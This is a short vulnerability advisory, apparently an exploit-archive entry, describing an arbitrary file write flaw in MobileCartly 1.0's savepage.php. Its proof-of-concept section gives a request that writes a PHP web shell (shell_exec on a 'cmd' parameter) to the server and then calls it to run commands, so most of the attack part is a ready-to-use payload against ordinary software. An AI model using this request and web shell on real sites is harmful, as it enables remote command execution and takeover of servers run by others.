29 lines
No EOL
1.3 KiB
Text
29 lines
No EOL
1.3 KiB
Text
# -----------------------------------------------------------
|
|
# _____ _ _ _ _
|
|
# / ____(_) | | | | |
|
|
# | | _| |_ __ _ __| | ___| |
|
|
# | | | | __/ _` |/ _` |/ _ \ |
|
|
# | |____| | || (_| | (_| | __/ |
|
|
# \_____|_|\__\__,_|\__,_|\___|_|
|
|
#
|
|
# -----------------------------------------------------------
|
|
# MobileCartly 1.0 Arbitrary File Write Vulnerability
|
|
# Bug discovered by Yakir Wizman AKA Pr0T3cT10n, <yakir.wizman@gmail.com>
|
|
# Date 10/08/2012
|
|
# Download - http://mobilecartly.com/mobilecartly.zip
|
|
# ISRAEL
|
|
# -----------------------------------------------------------
|
|
# Author will be not responsible for any damage.
|
|
# -----------------------------------------------------------
|
|
# I. DESCRIPTION
|
|
# -----------------------------------------------------------
|
|
# The application is prone to arbitrary file write / overwrite vulnerability.
|
|
#
|
|
# -----------------------------------------------------------
|
|
# II. PoC EXPLOIT
|
|
# -----------------------------------------------------------
|
|
# http://127.0.0.1/mobilecartly/includes/savepage.php?savepage=FILENAME&pagecontent=CODE
|
|
# FILENAME for example 'shell.php'
|
|
# CODE for example '<?php echo(shell_exec($_GET['cmd'])); ?>'
|
|
# Result example http://127.0.0.1/mobilecartly/pages/shell.php?cmd=dir
|
|
# ----------------------------------------------------------- |